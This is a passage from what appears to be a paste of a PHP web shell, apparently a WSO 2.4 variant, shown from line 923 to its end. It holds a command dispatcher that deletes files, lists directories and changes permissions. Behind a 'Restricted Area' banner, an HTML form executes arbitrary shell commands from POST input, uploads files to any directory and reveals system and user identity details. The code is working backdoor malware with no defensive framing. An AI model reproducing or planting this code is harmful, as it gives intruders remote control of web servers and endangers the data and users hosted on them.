  923.                             deleteDir($param);
  924.                         } elseif(is_file($param)) {
  925.                             @unlink($param);
  926.                         }
  927.                     }
  928.                 }
  929.                 break;
  930.             case "uname":
  931.                 $out = php_uname(preg_replace("/^-/", "", $params[0])) ;
  932.                 break;
  933.             case "find":
  934.                 $out = scandir_rec($params[0], true, 1) ;
  935.                 $out = implode("\n", $out) ;
  936.                 break;
  937.             case "ls":
  938.                 if(isset($params[0]) && $params[0] == '-F') {
  939.                     $_path = $path ;
  940.                     if(isset($params[1])) {
  941.                         $_path = $params[1] ;
  942.                     }
  943.                     $out = glob($_path . '/*' , GLOB_ONLYDIR);
  944.                     if(!empty($out)) {
  945.                         foreach($out as $k=>$v) {
  946.                             $out[$k] = preg_replace("/^" . preg_quote($_path.DS,DS) . "/","",$v) . DS ;
  947.                         }
  948.                     }
  949.                     $out = implode("\n", $out) ;
  950.                 } else {
  951.                     $_path = $path ;
  952.                     if(isset($params[1])) {
  953.                         $_path = $params[1] ;
  954.                     }
  955.                     $out = glob($_path . '/*');
  956.                     if(!empty($out)) {
  957.                         foreach($out as $k=>$v) {
  958.                             $out[$k] = preg_replace("/^" . preg_quote($path,DS) . "/","",$v) ;
  959.                         }
  960.                     }
  961.                     $out = implode("\n", $out) ;
  962.                 }
  963.                 break;
  964.             case "mkdir":
  965.                 @mkdir($params[0]) ;
  966.                 break;
  967.             case "chmod":
  968.                 @chmod($params[1], $params[0]) ;
  969.                 break;  
  970.             case "phpversion":
  971.                 $out = phpversion() ;
  972.                 break;
  973.             case "wso_version":
  974.                 $out = "2.4";
  975.                 break;
  976.             case "safemode":
  977.                 $out = @ini_get('safe_mode') ;
  978.                 break;
  979.             case 'pwd':
  980.                 $out = getcwd() ;
  981.                 break;
  982.             default:
  983.                 break;
  984.             }
  985.         }
  986.     }
  987.  
  988.     return $out ;
  989.  
  990. }
  991.  
  992. print "<style>body{font-family:trebuchet ms;font-size:16px;}hr{width:100%;height:2px;}</style>";
  993. print "<center><h1>Restricted</h1></center>";
  994. print "<center><h1>Area</h1></center>";
  995. print "<hr><hr>";
  996.  
  997. if(isset($_POST['_cwd'])) {
  998.     $currentWD  = str_replace("\\\\","\\",$_POST['_cwd']);
  999. } else {
  1000.     $currentWD = '' ;
  1001. }
  1002. if(isset($_POST['_cmd'])) {
  1003.     $currentCMD = str_replace("\\\\","\\",$_POST['_cmd']);
  1004. } else {
  1005.     $currentCMD = '' ;
  1006. }
  1007.  
  1008. $UName  = system_custom('uname -a');
  1009. $SCWD   = system_custom('pwd');
  1010. $UserID = system_custom('id');
  1011.  
  1012. if( $currentWD == "" ) {
  1013.     $currentWD = $SCWD;
  1014. }
  1015.  
  1016. print "<table>";
  1017. print "<tr><td><b>?:</b></td><td>".(isset($_SERVER['REMOTE_HOST'])?$_SERVER['REMOTE_HOST']:"")." (".(isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:"").")</td></tr>";
  1018. print "<tr><td><b>s is:</b></td><td>".(isset($_SERVER['SERVER_SIGNATURE'])?$_SERVER['SERVER_SIGNATURE']:"")."</td></tr>";
  1019. print "<tr><td><b>ce e?:</b></td><td>$UName</td></tr>";
  1020. print "<tr><td><b>wtf:</b></td><td>$UserID</td></tr>";
  1021. print "</table>";
  1022.  
  1023. print "<hr><hr>";
  1024.  
  1025. if( isset($_POST['_act']) && $_POST['_act'] == "List files!" ) {
  1026.     $currentCMD = "ls -la";
  1027. }
  1028.  
  1029. print "<form method=post enctype=\"multipart/form-data\"><table>";
  1030.  
  1031. print "<tr><td><b>Execute command:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>";
  1032. print "<td><input type=submit name=_act value=\"Execute!\"></td></tr>";
  1033.  
  1034. print "<tr><td><b>Change directory:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>";
  1035. print "<td><input type=submit name=_act value=\"List files!\"></td></tr>";
  1036.  
  1037. print "<tr><td><b>Upload file:</b></td><td><input size=85 type=file name=_upl></td>";
  1038. print "<td><input type=submit name=_act value=\"Upload!\"></td></tr>";
  1039.  
  1040. print "</table></form><hr><hr>";
  1041.  
  1042. $currentCMD = str_replace("\\\"","\"",$currentCMD);
  1043. $currentCMD = str_replace("\\\'","\'",$currentCMD);
  1044.  
  1045. if( isset($_POST['_act']) && $_POST['_act'] == "Upload!" ) {
  1046.     if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {
  1047.         print "<center><b>Error while uploading file!</b></center>";
  1048.     } else {
  1049.         print "<center><pre>";
  1050.         if(!@move_uploaded_file($_FILES['_upl']['tmp_name'], $currentWD."/".$_FILES['_upl']['name'])) {
  1051.             $out = system_custom("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
  1052.         }
  1053.         echo $out ;
  1054.         print "</pre><b>File uploaded successfully!</b></center>";
  1055.     }    
  1056. } else {
  1057.     print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n";
  1058.     $currentCMD = "cd ".$currentWD.";".$currentCMD;
  1059.     $out = system_custom($currentCMD);
  1060.     echo $out ;
  1061.     print "\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>Command completed</b></center>";
  1062. }
  1063.  
  1064. exit;
  1065.  
  1066. ?>
Add Comment
Please, Sign In to add comment